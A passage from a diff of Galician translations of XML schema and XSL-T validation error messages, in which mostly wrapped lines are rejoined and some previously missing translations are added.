de nomes. + %1 non é unha URI válida de espazo de nomes. It is not possible to bind to the prefix %1 - Non é posíbel asociar co prefixo %1 + Non é posíbel asociar co prefixo %1 Namespace %1 can only be bound to %2 (and it is, in either case, pre-declared). - O espazo de nomes %1 só pode estar vinculado a %2 (e está, en calquera caso, -predeclarado). + O espazo de nomes %1 só pode estar vinculado a %2 (e está, en calquera caso, predeclarado). Prefix %1 can only be bound to %2 (and it is, in either case, pre-declared). - O prefixo %1 só pode estar vinculado a %2 (e está, en calquera caso, -predeclarado). + O prefixo %1 só pode estar vinculado a %2 (e está, en calquera caso, predeclarado). Two namespace declaration attributes have the same name: %1. - Dous atributos na declaración dun espazo de nomes teñen o mesmo nome: %1. + Dous atributos na declaración dun espazo de nomes teñen o mesmo nome: %1. The namespace URI must be a constant and cannot use enclosed expressions. - A URI do espazo de nomes debe ser constante e non pode conter expresións. + A URI do espazo de nomes debe ser constante e non pode conter expresións. An attribute with name %1 has already appeared on this element. - Xa apareceu un atributo co nome %1 neste elemento. + Xa apareceu un atributo co nome %1 neste elemento. A direct element constructor is not well-formed. %1 is ended with %2. - Hai un construtor directo dun elemento que non está ben formado. %1 remata -con %2. + Hai un construtor directo dun elemento que non está ben formado. %1 remata con %2. The name %1 does not refer to any schema type. - O nome %1 non se refire a ningún tipo de esquema. + O nome %1 non se refire a ningún tipo de esquema. %1 is an complex type. Casting to complex types is not possible. However, casting to atomic types such as %2 works. - %1 é un tipo complexo. Non é posíbel converter a tipos complexos. Porén, si -que pode converter a tipos atómicos como %2. + %1 é un tipo complexo. Non é posíbel converter a tipos complexos. Porén, si que pode converter a tipos atómicos como %2. %1 is not an atomic type. Casting is only possible to atomic types. - %1 non é un tipo atómico. Só é posíbel converter a tipos atómicos. + %1 non é un tipo atómico. Só é posíbel converter a tipos atómicos. %1 is not a valid name for a processing-instruction. - %1 non é un nome válido para unha instrución de procesamento. + %1 non é un nome válido para unha instrución de procesamento. %1 is not in the in-scope attribute declarations. Note that the schema import feature is not supported. - %1 non está nas declaracións de atributos ao alcance. Lembre que non está -soportada a funcionalidade de importación de esquemas. + %1 non está nas declaracións de atributos ao alcance. Lembre que non está soportada a funcionalidade de importación de esquemas. The name of an extension expression must be in a namespace. - O nome dunha expresión de extensión debe estar nun espazo de nomes. + O nome dunha expresión de extensión debe estar nun espazo de nomes. Element %1 is not allowed at this location. - Neste lugar non se permite o elemento %1. + Neste lugar non se permite o elemento %1. Text nodes are not allowed at this location. - Neste lugar non se permiten nodos de texto. + Neste lugar non se permiten nodos de texto. Parse error: %1 - Erro de procesamento: %1 + Erro de procesamento: %1 The value of the XSL-T version attribute must be a value of type %1, which %2 isn't. - O valor do atributo da versión de XSL-T debe ser un valor do tipo %1, e %2 -non o é. + O valor do atributo da versión de XSL-T debe ser un valor do tipo %1, e %2 non o é. Running an XSL-T 1.0 stylesheet with a 2.0 processor. - A executar unha folla de estilos XSL-T 1.0 cun procesador 2.0. + A executar unha folla de estilos XSL-T 1.0 cun procesador 2.0. Unknown XSL-T attribute %1. - Non se coñece o atributo XSL-T %1. + Non se coñece o atributo XSL-T %1. Attribute %1 and %2 are mutually exclusive. - Os atributos %1 e %2 exclúense mutuamente. + Os atributos %1 e %2 exclúense mutuamente. In a simplified stylesheet module, attribute %1 must be present. - Nun módulo de folla de estilos simplificada debe estar presente o atributo % -1. + Nun módulo de folla de estilos simplificada debe estar presente o atributo %1. If element %1 has no attribute %2, it cannot have attribute %3 or %4. - Se o elemento %1 non ten o atributo %2 non pode ter os atributos %3 nin %4. + Se o elemento %1 non ten o atributo %2 non pode ter os atributos %3 nin %4. Element %1 must have at least one of the attributes %2 or %3. - O elemento %1 debe ter polo menos un dos atributos %2 ou %3. + O elemento %1 debe ter polo menos un dos atributos %2 ou %3. At least one mode must be specified in the %1-attribute on element %2. - Debe especificarse polo menos un modo no atributo %1 do elemento %2. + Debe especificarse polo menos un modo no atributo %1 do elemento %2. Element %1 must come last. - O elemento %1 debe ir o último. + O elemento %1 debe ir o último. At least one %1-element must occur before %2. - Debe estar presente polo menos un elemento %1 antes de %2. + Debe estar presente polo menos un elemento %1 antes de %2. Only one %1-element can appear. - Só pode aparecer un elemento %1. + Só pode aparecer un elemento %1. At least one %1-element must occur inside %2. - Debe estar presente polo menos un elemento %1 dentro de %2. + Debe estar presente polo menos un elemento %1 dentro de %2. When attribute %1 is present on %2, a sequence constructor cannot be used. - Non se pode empregar un construtor de secuencia cando o atributo %1 está -presente en %2. + Non se pode empregar un construtor de secuencia cando o atributo %1 está presente en %2. Element %1 must have either a %2-attribute or a sequence constructor. - O elemento %1 debe ter ou un atributo %2 ou un construtor de secuencia. + O elemento %1 debe ter ou un atributo %2 ou un construtor de secuencia. When a parameter is required, a default value cannot be supplied through a %1-attribute or a sequence constructor. - Non se pode subministrar un valor predeterminado mediante un atributo %1 nin -un construtor de secuencia cando se require un parámetro. + Non se pode subministrar un valor predeterminado mediante un atributo %1 nin un construtor de secuencia cando se require un parámetro. Element %1 cannot have children. - O elemento %1 non pode ter fillos. + O elemento %1 non pode ter fillos. Element %1 cannot have a sequence constructor. - O elemento %1 non pode ter un construtor de secuencia. + O elemento %1 non pode ter un construtor de secuencia. The attribute %1 cannot appear on %2, when it is a child of %3. - O atributo %1 non pode aparecer en %2 cando é filla de %3. + O atributo %1 non pode aparecer en %2 cando é filla de %3. A parameter in a function cannot be declared to be a tunnel. - Non se pode declarar como túnel un parámetro nunha función. + Non se pode declarar como túnel un parámetro nunha función. This processor is not Schema-aware and therefore %1 cannot be used. - Este procesador non é coñecedor do Schema e polo tanto %1 non pode -empregarse. + Este procesador non é coñecedor do Schema e polo tanto %1 non pode empregarse. Top level stylesheet elements must be in a non-null namespace, which %1 isn't. - Os elementos da folla de estilo de máximo nivel debe estar nun espazo de -nomes non nulo, e %1 non o é. + Os elementos da folla de estilo de máximo nivel debe estar nun espazo de nomes non nulo, e %1 non o é. The value for attribute %1 on element %2 must either be %3 or %4, not %5. - O valor do atributo %1 no elemento %2 debe ser %3 ou %4, non %5. + O valor do atributo %1 no elemento %2 debe ser %3 ou %4, non %5. Attribute %1 cannot have the value %2. - O atributo %1 non pode ter o valor %2. + O atributo %1 non pode ter o valor %2. The attribute %1 can only appear on the first %2 element. - O atributo %1 só pode aparecer no primeiro elemento %2. + O atributo %1 só pode aparecer no primeiro elemento %2. At least one %1 element must appear as child of %2. - Debe aparecer cando menos un elemento %1 como fillo de %2. + Debe aparecer cando menos un elemento %1 como fillo de %2. Empty particle cannot be derived from non-empty particle. - Unha partícula baleira non pode derivarse dunha non baleira. + Unha partícula baleira non pode derivarse dunha non baleira. Derived particle is missing element %1. - Na partícula derivada falta o elemento %1. + Na partícula derivada falta o elemento %1. Derived element %1 is missing value constraint as defined in base particle. - No elemento derivado %1 falta a restrición aos valores definida na partícula -de base. + No elemento derivado %1 falta a restrición aos valores definida na partícula de base. Derived element %1 has weaker value constraint than base particle. - O elemento derivado %1 ten unha restrición aos valores máis feble do que a -da súa partícula de base. + O elemento derivado %1 ten unha restrición aos valores máis feble do que a da súa partícula de base. Fixed value constraint of element %1 differs from value constraint in base particle. - A restrición de valor fixo do elemento %1 é diferente da de valor da -partícula base. + A restrición de valor fixo do elemento %1 é diferente da de valor da partícula base. Derived element %1 cannot be nillable as base element is not nillable. - O elemento derivado %1 non se pode anular porque o elemento de base non se -pode anular. + O elemento derivado %1 non se pode anular porque o elemento de base non se pode anular. Block constraints of derived element %1 must not be more weaker than in the base element. - O bloque de restricións do elemento derivado %1 non pode ser máis feble do -que son as do elemento de base. + O bloque de restricións do elemento derivado %1 non pode ser máis feble do que son as do elemento de base. Simple type of derived element %1 cannot be validly derived from base element. - O tipo simple do elemento derivado %1 non se pode derivar con validez a -partir do elemento de base. + O tipo simple do elemento derivado %1 non se pode derivar con validez a partir do elemento de base. Complex type of derived element %1 cannot be validly derived from base element. - O tipo complexo do elemento derivado %1 non se pode derivar con validez a -partir do elemento de base. + O tipo complexo do elemento derivado %1 non se pode derivar con validez a partir do elemento de base. Element %1 is missing in derived particle. - Falta o elemento %1 na partícula derivada. + Falta o elemento %1 na partícula derivada. Element %1 does not match namespace constraint of wildcard in base particle. - O elemento %1 non casa coa restrición do espazo de nomes de comodín na -partícula de base. + O elemento %1 non casa coa restrición do espazo de nomes de comodín na partícula de base. Wildcard in derived particle is not a valid subset of wildcard in base particle. - O comodín da partícula derivada non é un subconxunto válido do da partícula -de base. + O carácter de substitución da partícula derivada non é un subconxunto válido do da partícula de base. processContent of wildcard in derived particle is weaker than wildcard in base particle. - O processContent do comodín na partícula derivada é máis feble que o do -comodín na partícula de base. + O processContent do comodín na partícula derivada é máis feble que o do comodín na partícula de base. Derived particle allows content that is not allowed in the base particle. - A partícula derivada permite contido non permitido na partícula de base. + A partícula derivada permite contido non permitido na partícula de base. %1 has inheritance loop in its base type %2. - %1 ten un bucle de herdanza no seu tipo base %2. + %1 ten un bucle de herdanza no seu tipo base %2. Circular inheritance of base type %1. - Herdanza circular do tipo de base %1. + Herdanza circular do tipo de base %1. Circular inheritance of union %1. - Herdanza circular da unión %1. + Herdanza circular da unión %1. %1 is not allowed to derive from %2 by restriction as the latter defines it as final. - Non se permite que %1 derive de %2 debido a unha restrición xa que o este -defíneo como final. + Non se permite que %1 derive de %2 debido a unha restrición xa que o este defíneo como final. %1 is not allowed to derive from %2 by extension as the latter defines it as final. - Non se permite que %1 derive de %2 por extensión debido a unha restrición xa -que o este defíneo como final. + Non se permite que %1 derive de %2 por extensión debido a unha restrición xa que o este defíneo como final. Base type of simple type %1 cannot be complex type %2. - O tipo base do tipo simple %1 non pode ser do tipo complexo %2. + O tipo base do tipo simple %1 non pode ser do tipo complexo %2. Simple type %1 cannot have direct base type %2. - O tipo simple %1 non pode ter unha base directa do tipo %2. + O tipo simple %1 non pode ter unha base directa do tipo %2. Simple type %1 is not allowed to have base type %2. - Ao tipo simple %1 non se lle permite ter unha base do tipo %2. + Ao tipo simple %1 non se lle permite ter unha base do tipo %2. Simple type %1 can only have simple atomic type as base type. - O tipo simple %1 só pode ter un tipo atómico simple como tipo de base. + O tipo simple %1 só pode ter un tipo atómico simple como tipo de base. Simple type %1 cannot derive from %2 as the latter defines restriction as final. - O tipo simple %1 non pode derivar do %2 xa que este define a restrición como -final. + O tipo simple %1 non pode derivar do %2 xa que este define a restrición como final. Variety of item type of %1 must be either atomic or union. - A variedade do tipo de elemento de %1 debe ser ou ou atómico ou unión. + A variedade do tipo de elemento de %1 debe ser ou ou atómico ou unión. Variety of member types of %1 must be atomic. - A variedade dos tipos membro de %1 debe sen atómica. + A variedade dos tipos membro de %1 debe sen atómica. %1 is not allowed to derive from %2 by list as the latter defines it as final. - Non se permite que %1 derive de %2 por lista xa que esta defínea como final. + Non se permite que %1 derive de %2 por lista xa que esta defínea como final. Simple type %1 is only allowed to have %2 facet. - Só se permite que o tipo simple %1 teña a faceta %2. + Só se permite que o tipo simple %1 teña a faceta %2. Base type of simple type %1 must have variety of type list. - O tipo base do tipo simple %1 debe ser variedade do tipo lista. + O tipo base do tipo simple %1 debe ser variedade do tipo lista. Base type of simple type %1 has defined derivation by restriction as final. - O tipo base do tipo simple %1 definiu a derivación por restrición como final. + O tipo base do tipo simple %1 definiu a derivación por restrición como final. Item type of base type does not match item type of %1. - O tipo de elemento do tipo de base non casa co tipo de elemento de %1. + O tipo de elemento do tipo de base non casa co tipo de elemento de %1. Simple type %1 contains not allowed facet type %2. - O tipo simple %1 contén unha faceta non permitida do tipo %2. + O tipo simple %1 contén unha faceta non permitida do tipo %2. %1 is not allowed to derive from %2 by union as the latter defines it as final. - Non se permite que %1 derive de %2 por unión xa que este defínea como final. + Non se permite que %1 derive de %2 por unión xa que este defínea como final. %1 is not allowed to have any facets. - %1 non pode ter ningunha faceta. + %1 non pode ter ningunha faceta. Base type %1 of simple type %2 must have variety of union. - O tipo de base %1 do tipo simple %2 debe ser unha variedade de unión. + O tipo de base %1 do tipo simple %2 debe ser unha variedade de unión. Base type %1 of simple type %2 is not allowed to have restriction in %3 attribute. - Non se permite que o tipo base %1 do tipo simple %2 teña restrición no -atributo %3. + Non se permite que o tipo base %1 do tipo simple %2 teña restrición no atributo %3. Member type %1 cannot be derived from member type %2 of %3's base type %4. - O tipo membro %1 non se pode derivar do tipo membro %2 do tipo base %4 de %3. + O tipo membro %1 non se pode derivar do tipo membro %2 do tipo base %4 de %3. Derivation method of %1 must be extension because the base type %2 is a simple type. - O método de derivación de %1 debe ser por extensión porque o tipo base %2 é -un tipo simple. + O método de derivación de %1 debe ser por extensión porque o tipo base %2 é un tipo simple. Complex type %1 has duplicated element %2 in its content model. - O tipo complexo %1 contén por duplicado o elemento %2 no seu modelo de -contido. + O tipo complexo %1 contén por duplicado o elemento %2 no seu modelo de contido. Complex type %1 has non-deterministic content. - O tipo complexo %1 ten contido non determinista. + O tipo complexo %1 ten contido non determinista. Attributes of complex type %1 are not a valid extension of the attributes of base type %2: %3. - Os atributos do tipo complexo %1 non son unha extensión válida dos atributos -do tipo base %2: %3. + Os atributos do tipo complexo %1 non son unha extensión válida dos atributos do tipo base %2: %3. Content model of complex type %1 is not a valid extension of content model of %2. - O modelo de contido do tipo complexo %1 non é unha extensión válida do -modelo de contido de %2. + O modelo de contido do tipo complexo %1 non é unha extensión válida do modelo de contido de %2. Complex type %1 must have simple content. - O tipo complexo %1 debe ter contido simple. + O tipo complexo %1 debe ter contido simple. Complex type %1 must have the same simple type as its base class %2. - O tipo complexo %1 debe ter o mesmo tipo simple que a súa clase de base %2. + O tipo complexo %1 debe ter o mesmo tipo simple que a súa clase de base %2. Complex type %1 cannot be derived from base type %2%3. - O tipo complexo %1 non pode derivarse do tipo de base %2%3. + O tipo complexo %1 non pode derivarse do tipo de base %2%3. Attributes of complex type %1 are not a valid restriction from the attributes of base type %2: %3. - Os atributos do tipo complexo %1 non son unha restrición válida baseada nos -atributos do tipo base %2: %3. + Os atributos do tipo complexo %1 non son unha restrición válida baseada nos atributos do tipo base %2: %3. Complex type %1 with simple content cannot be derived from complex base type %2. - O tipo complexo %1 con contido simple non se pode derivar do tipo de base -complexo %2. + O tipo complexo %1 con contido simple non se pode derivar do tipo de base complexo %2. Item type of simple type %1 cannot be a complex type. - O tipo de elemento do tipo simple %1 non pode ser un tipo complexo. + O tipo de elemento do tipo simple %1 non pode ser un tipo complexo. Member type of simple type %1 cannot be a complex type. - O tipo membro do tipo simple %1 non pode ser un tipo complexo. + O tipo membro do tipo simple %1 non pode ser un tipo complexo. %1 is not allowed to have a member type with the same name as itself. - Non se permite que %1 teña un tipo membro co mesmo nome ca el. + Non se permite que %1 teña un tipo membro co mesmo nome ca el. %1 facet collides with %2 facet. - A faceta %1 entra en conflito doa %2. + A faceta %1 entra en conflito doa %2. %1 facet must have the same value as %2 facet of base type. - A faceta %1 debe ter o mesmo valor que a %2 do tipo de base. + A faceta %1 debe ter o mesmo valor que a %2 do tipo de base. %1 facet must be equal or greater than %2 facet of base type. - A faceta %1 debe ser maior ou igual que a %2 do tipo de base. + A faceta %1 debe ser maior ou igual que a %2 do tipo de base. %1 facet must be less than or equal to %2 facet of base type. - A faceta %1 debe ser menor que ou igual que a %2 do tipo de base. + A faceta %1 debe ser menor que ou igual que a %2 do tipo de base. %1 facet contains invalid regular expression - A faceta %1 contén unha expresión regular non válida + A faceta %1 contén unha expresión regular non válida Unknown notation %1 used in %2 facet. - Empregouse a notación non válida %1 na faceta %2. + Empregouse a notación non válida %1 na faceta %2. %1 facet contains invalid value %2: %3. - A faceta %1 contén o valor non válido %2: %3. + A faceta %1 contén o valor non válido %2: %3. %1 facet cannot be %2 or %3 if %4 facet of base type is %5. - A faceta %1 non pode ser %2 nin %3 se a faceta %4 do tipo de base é %5. + A faceta %1 non pode ser %2 nin %3 se a faceta %4 do tipo de base é %5. %1 facet cannot be %2 if %3 facet of base type is %4. - A faceta %1 non pode ser %2 se a faceta %3 do tipo de base é %4. + A faceta %1 non pode ser %2 se a faceta %3 do tipo de base é %4. %1 facet must be less than or equal to %2 facet. - A faceta %1 debe ser menor que ou igual que a %2. + A faceta %1 debe ser menor que ou igual que a %2. %1 facet must be less than %2 facet of base type. - A faceta %1 debe ser menor que a faceta %2 do tipo de base. + A faceta %1 debe ser menor que a faceta %2 do tipo de base. %1 facet and %2 facet cannot appear together. - As facetas %1 e %2 non poden aparecer xuntas. + As facetas %1 e %2 non poden aparecer xuntas. %1 facet must be greater than %2 facet of base type. - A faceta %1 debe ser maior que a faceta %2 do tipo de base. + A faceta %1 debe ser maior que a faceta %2 do tipo de base. %1 facet must be less than %2 facet. - A faceta %1 debe ser menor que a %2. + A faceta %1 debe ser menor que a %2. %1 facet must be greater than or equal to %2 facet of base type. - A faceta %1 deber ser maior ou igual que a faceta %2 do tipo de base. + A faceta %1 deber ser maior ou igual que a faceta %2 do tipo de base. Simple type contains not allowed facet %1. - O tipo simple contén a faceta non permitida %1. + O tipo simple contén a faceta non permitida %1. %1, %2, %3, %4, %5 and %6 facets are not allowed when derived by list. - As facetas %1, %2, %3, %4, %5 e %6 non están permitidas cando se deriva por -lista. + As facetas %1, %2, %3, %4, %5 e %6 non están permitidas cando se deriva por lista. Only %1 and %2 facets are allowed when derived by union. - Só se permiten as facetas %1 e %2 cando se deriva por unión. + Só se permiten as facetas %1 e %2 cando se deriva por unión. %1 contains %2 facet with invalid data: %3. - %1 contén a faceta %2 con datos non válidos: %3. + %1 contén a faceta %2 con datos non válidos: %3. Attribute group %1 contains attribute %2 twice. - O grupo de atributos %1 contén o atributo %2 dúas veces. + O grupo de atributos %1 contén o atributo %2 dúas veces. Attribute group %1 contains two different attributes that both have types derived from %2. - O grupo de atributos %1 contén dous atributos diferentes con tipos derivados -de %2 + O grupo de atributos %1 contén dous atributos diferentes con tipos derivados de %2. Attribute group %1 contains attribute %2 that has value constraint but type that inherits from %3. - O grupo de atributos %1 contén o atributo %2, que ten restrición de valores -pero un tipo que herda de %3. + O grupo de atributos %1 contén o atributo %2, que ten restrición de valores pero un tipo que herda de %3. Complex type %1 contains attribute %2 twice. - O tipo complexo %1 contén o atributo %2 dúas veces. + O tipo complexo %1 contén o atributo %2 dúas veces. Complex type %1 contains two different attributes that both have types derived from %2. - O tipo complexo %1 contén dous atributos diferentes con tipos derivados de %2. + O tipo complexo %1 contén dous atributos diferentes con tipos derivados de %2. Complex type %1 contains attribute %2 that has value constraint but type that inherits from %3. - O tipo complexo %1 contén o atributo %2, que ten restrición de valores pero -un tipo que herda de %3. + O tipo complexo %1 contén o atributo %2, que ten restrición de valores pero un tipo que herda de %3. Element %1 is not allowed to have a value constraint if its base type is complex. - O elemento %1 non se lle permite ter unha restrición de valores se o seu tipo -de base -é complexo. + O elemento %1 non se lle permite ter unha restrición de valores se o seu tipo de base é complexo. Element %1 is not allowed to have a value constraint if its type is derived from %2. - O elemento %1 non se lle permite ter unha restrición de valores se o seu tipo -deriva de %2. + O elemento %1 non se lle permite ter unha restrición de valores se o seu tipo deriva de %2. Value constraint of element %1 is not of elements type: %2. - A restrición aos valores do elemento %1 non é do tipo elementos: %2. + A restrición aos valores do elemento %1 non é do tipo elementos: %2. Element %1 is not allowed to have substitution group affiliation as it is no global element. - Non se permite que o elemento %1 teña afiliación a grupo de substitución xa -que -non é un elemento global. + Non se permite que o elemento %1 teña afiliación a grupo de substitución xa que non é un elemento global. Type of element %1 cannot be derived from type of substitution group affiliation. - O tipo do elemento %1 non pode derivarse do tipo de afiliación ao grupo de -substitución. + O tipo do elemento %1 non pode derivarse do tipo de afiliación ao grupo de substitución. Value constraint of attribute %1 is not of attributes type: %2. - A restrición aos valores do atributo %1 non é ao tipo do atributo: %2. + A restrición aos valores do atributo %1 non é ao tipo do atributo: %2. Attribute %1 has value constraint but has type derived from %2. - O atributo %1 ten restrición de valores pero ten tipo derivado de %2. + O atributo %1 ten restrición de valores pero ten tipo derivado de %2. %1 attribute in derived complex type must be %2 like in base type. - + O atributo %1 no tipo complexo derivado debe ser %2 como no tipo de base. Attribute %1 in derived complex type must have %2 value constraint like in base type. - O atributo %1 do tipo complexo derivado debe ter unha restrición de valores -%2 -como no tipo de base. + O atributo %1 do tipo complexo derivado debe ter unha restrición de valores %2 como no tipo de base. Attribute %1 in derived complex type must have the same %2 value constraint like in base type. - + O atributo %1 do tipo complexo derivado debe ter a mesma restrición a valores %2 como no tipo de base. Attribute %1 in derived complex type must have %2 value constraint. - + O atributo %1 no tipo complexo derivado debe ter a restrición a valores %2. processContent of base wildcard must be weaker than derived wildcard. - + O processContent do comodín de base debe ser máis feble que o do comodín de derivado. Element %1 exists twice with different types. - + O elemento %1 existe dúas veces con tipos diferentes. Particle contains non-deterministic wildcards. - + A partícula contén caracteres de substitución non deterministas. Base attribute %1 is required but derived attribute is not. - + Requírese o atributo de base %1 pero non o derivado. Type of derived attribute %1 cannot be validly derived from type of base attribute. - + O tipo do atributo derivado %1 non se pode derivar con validez a partir do tipo do atributo de base. Value constraint of derived attribute %1 does not match value constraint of base attribute. - + A restrición de valores do atributo derivado %1 non casa coa do atributo de base. Derived attribute %1 does not exist in the base definition. - + O atributo derivado %1 non existe na definición da base. Derived attribute %1 does not match the wildcard in the base definition. - + O atributo derivado %1 non casa co carácter de substitución na definición da base. Base attribute %1 is required but missing in derived definition. - + Requírese o atributo de base %1 pero falta na definición derivada. Derived definition contains an %1 element that does not exists in the base definition - + A definición derivada contén un elemento %1 que non existe na definición da base Derived wildcard is not a subset of the base wildcard. - + O carácter de substitución derivado non é un conxunto do de base. %1 of derived wildcard is not a valid restriction of %2 of base wildcard - + O %1 do comodín derivado non é unha restrición válido do %2 do comodín base Attribute %1 from base type is missing in derived type. - + O atributo %1 do tipo base falta no tipo derivado. Type of derived attribute %1 differs from type of base attribute. - + O tipo do atributo derivado %1 é diferente do tipo do atributo base. Base definition contains an %1 element that is missing in the derived definition - + A definición base contén un elemento %1 que falta na definición derivada Can not process unknown element %1, expected elements are: %2. - + Non se pode procesar o elemento %1, os elementos agardados son: %2. Element %1 is not allowed in this scope, possible elements are: %2. - Non se permite o elemento %1 neste ámbito, os elementos posíbeis son: %2. + Non se permite o elemento %1 neste ámbito, os elementos posíbeis son: %2. Child element is missing in that scope, possible child elements are: %1. - + O elemento fillo falta nese ámbito, os posíbeis son: %1. Document is not a XML schema. - + O documento non é un esquema XML. %1 attribute of %2 element contains invalid content: {%3} is not a value of type %4. - + O atributo %1 do elemento %2 ten contido non válido: {%3} non é un valor do tipo %4. %1 attribute of %2 element contains invalid content: {%3}. - + O atributo %1 do elemento %2 ten contido non válido: {%3}. Target namespace %1 of included schema is different from the target namespace %2 as defined by the including schema. - + O espazo de nomes de destino %1 do esquema incluído é diferente do %2, que se especificou no esquema incluínte. Target namespace %1 of imported schema is different from the target namespace %2 as defined by the importing schema. - + O espazo de nomes de destino %1 do esquema importado é diferente do %2, que se especificou no esquema importador. %1 element is not allowed to have the same %2 attribute value as the target namespace %3. - + Non se permite que o elemento %1 teña o mesmo valor do atributo %2 que o espazo de nomes de destino %3. %1 element without %2 attribute is not allowed inside schema without target namespace. - + Non se permite un elemento %1 sen o atributo %2 dentro dun esquema sen espazo de nomes de destino. %1 element is not allowed inside %2 element if %3 attribute is present. - + Non se permite o elemento %1 dentro do elemento %2 se está presente o atributo %3. %1 element has neither %2 attribute nor %3 child element. - O elemento %1 non ten nin o atributo %2 nin o elemento fillo %3. + O elemento %1 non ten nin o atributo %2 nin o elemento fillo %3. %1 element with %2 child element must not have a %3 attribute. - + Un elemento %1 cun elemento fillo %2 non pode ter un atributo %3. %1 attribute of %2 element must be %3 or %4. - O atributo %1 do elemento %2 debe ser %3 ou %4. + O atributo %1 do elemento %2 debe ser %3 ou %4. %1 attribute of %2 element must have a value of %3. - O atributo %1 do elemento %2 debe ter un valor de %3. + O atributo %1 do elemento %2 debe ter un valor de %3. %1 attribute of %2 element must have a value of %3 or %4. - O atributo %1 do elemento %2 debe ter un valor de %3 ou %4. + O atributo %1 do elemento %2 debe ter un valor de %3 ou %4. %1 element must not have %2 and %3 attribute together. - O elemento %1 non debe ter á vez os atributos %2 e %3. + O elemento %1 non debe ter á vez os atributos %2 e %3. Content of %1 attribute of %2 element must not be from namespace %3. - + O contido do atributo %1 do elemento %2 non debe proceder do espazo de nomes %3. %1 attribute of %2 element must not be %3. - O atributo %1 do elemento %2 non debe ser %3. + O atributo %1 do elemento %2 non debe ser %3. %1 attribute of %2 element must have the value %3 because the %4 attribute is set. - + O atributo %1 do elemento %2 debe ter o mesmo valor %3 porque se indicou o atributo %4. Specifying use='prohibited' inside an attribute group has no effect. - Indicar use='prohibited' dentro dun grupo de atributos non ten efecto. + Indicar use='prohibited' dentro dun grupo de atributos non ten efecto. %1 element must have either %2 or %3 attribute. - O elemento %1 debe ter o do atributo %2 ou o %3. + O elemento %1 debe ter o do atributo %2 ou o %3. %1 element must have either %2 attribute or %3 or %4 as child element. - O elemento %1 debe ter ou o atributo %2 ou un elemento fillo %3 ou %4. + O elemento %1 debe ter ou o atributo %2 ou un elemento fillo %3 ou %4. %1 element requires either %2 or %3 attribute. - O elemento %1 require o atributo %2 ou o %3. + O elemento %1 require o atributo %2 ou o %3. Text or entity references not allowed inside %1 element - Non se permite referencias nin texto nin a entidades dentro dun elemento %1 + Non se permite referencias nin texto nin a entidades dentro dun elemento %1 %1 attribute of %2 element must contain %3, %4 or a list of URIs. - + O atributo %1 do elemento %2 debe conter %3, %4 ou unha listaxe de URI. %1 element is not allowed in this context. - + Non se permite o elemento %1 neste contexto. %1 attribute of %2 element has larger value than %3 attribute. - + O atributo %1 do elemento %2 ten un valor maior do que o atributo %3. Prefix of qualified name %1 is not defined. - + Non se definiu o prefixo do nome cualificado %1. %1 attribute of %2 element must either contain %3 or the other values. - + O atributo %1 do elemento %2 debe conter %3 ou os outros valores. Component with ID %1 has been defined previously. - + Xa se definiu anteriormente unha compoñente co ID %1. Element %1 already defined. - + Xa se definiu o elemento %1. Attribute %1 already defined. - + Xa se definiu o atributo %1. Type %1 already defined. - + Xa se definiu o tipo %1. Attribute group %1 already defined. - + Xa se definiu o grupo de atributos %1. Element group %1 already defined. - + Xa se definiu o grupo de elementos %1. Notation %1 already defined. - + Xa se definiu a notación %1. Identity constraint %1 already defined. - + Xa se definiu a restrición de identidade %1. Duplicated facets in simple type %1. - + Hai facetas duplicadas no tipo simple %1. %1 references unknown %2 or %3 element %4. - + %1 fai referencia a un %4 dun elemento %2 ou %3 descoñecido. %1 references identity constraint %2 that is no %3 or %4 element. - + %1 fai referencia á restrición de identidade %2 que non é nin un elemento %3 nin %4. %1 has a different number of fields from the identity constraint %2 that it references. - + %1 ten unha cantidade diferentes de campos que a restrición de identidade %2 á que fai referencia. Base type %1 of %2 element cannot be resolved. - + O tipo base %1 do elemento %2 non se pode resolver. Item type %1 of %2 element cannot be resolved. - + O tipo de elemento %1 de %2 non se pode resolver. Member type %1 of %2 element cannot be resolved. - + O tipo de membro %1 de %2 non se pode resolver. Type %1 of %2 element cannot be resolved. - + O tipo %1 do elemento %2 non se pode resolver. Base type %1 of complex type cannot be resolved. - + O tipo base %1 do tipo complexo non se pode resolver. %1 cannot have complex base type that has a %2. - + %1 non pode ter un tipo de base complexo que teña un %2. Content model of complex type %1 contains %2 element so it cannot be derived by extension from a non-empty type. - + O modelo de contido do tipo complexo %1 contén un elemento %2 polo que non se pode derivar por extensión a partir dun tipo non baleiro. Complex type %1 cannot be derived by extension from %2 as the latter contains %3 element in its content model. - + Non se pode derivar o tipo complexo %1 mediante extensión de %2 xa que este contén elementos %3 no seu modelo de contido. Type of %1 element must be a simple type, %2 is not. - + O tipo do elemento %1 debe ser un tipo simple, e %2 non o é. Substitution group %1 of %2 element cannot be resolved. - + Non se pode resolver o grupo de substitución %1 do elemento %2. Substitution group %1 has circular definition. - + O grupo de substitución %1 ten unha definición circular. Duplicated element names %1 in %2 element. - + Hai nomes de elementos %1 duplicados no elemento %2. Reference %1 of %2 element cannot be resolved. - + A referencia %1 do elemento %2 non se pode resolver. Circular group reference for %1. - + Grupo de referencias circulares para %1. %1 element is not allowed in this scope - + Non se permite o elemento %1 neste ámbito %1 element cannot have %2 attribute with value other than %3. - + O elemento %1 non pode ter o atributo %2 cun valor diferente de %3. %1 element cannot have %2 attribute with value other than %3 or %4. - + O elemento %1 non pode ter o atributo %2 cun valor diferente de %3 ou de %4. %1 or %2 attribute of reference %3 does not match with the attribute declaration %4. - + Nin atributo %1 nin o %2 da referencia %2 casan coa declaración do atributo %3. Attribute group %1 has circular reference. - + O grupo de atributo %1 ten unha referencia circular. %1 attribute in %2 must have %3 use like in base type %4. - + O atributo %1 en %2 debe ter un uso de %3 como no tipo base %4. Attribute wildcard of %1 is not a valid restriction of attribute wildcard of base type %2. - + O carácter de substitución de atributo de %1 non é unha restrición válida de carácter de substitución de atributo do tipo de base %2. %1 has attribute wildcard but its base type %2 has not. - + %1 ten un carácter de substitución de atributo pero o seu tipo de base %2 non o ten. Union of attribute wildcard of type %1 and attribute wildcard of its base type %2 is not expressible. - + A unión do carácter de substitución de atributo do tipo %1 e o do seu tipo de base %2 é inexpresábel. Enumeration facet contains invalid content: {%1} is not a value of type %2. - + A faceta de enumeración ten contido non válido: {%1} non é un valor do tipo %2. Namespace prefix of qualified name %1 is not defined. - + Non está á definido o prefixo do espazo de nomes do nome cualificado %1. %1 element %2 is not a valid restriction of the %3 element it redefines: %4. - + O elemento %1 %2 non é unha restrición válida do elemento %3 que redefine: %4. %1 is not valid according to %2. - %1 non é válido segundo %2. + %1 non é válido segundo %2. String content does not match the length facet. - O contido da cadea non coincide coa faceta «length». + O contido da cadea non coincide coa faceta «length». String content does not match the minLength facet. - O contido da 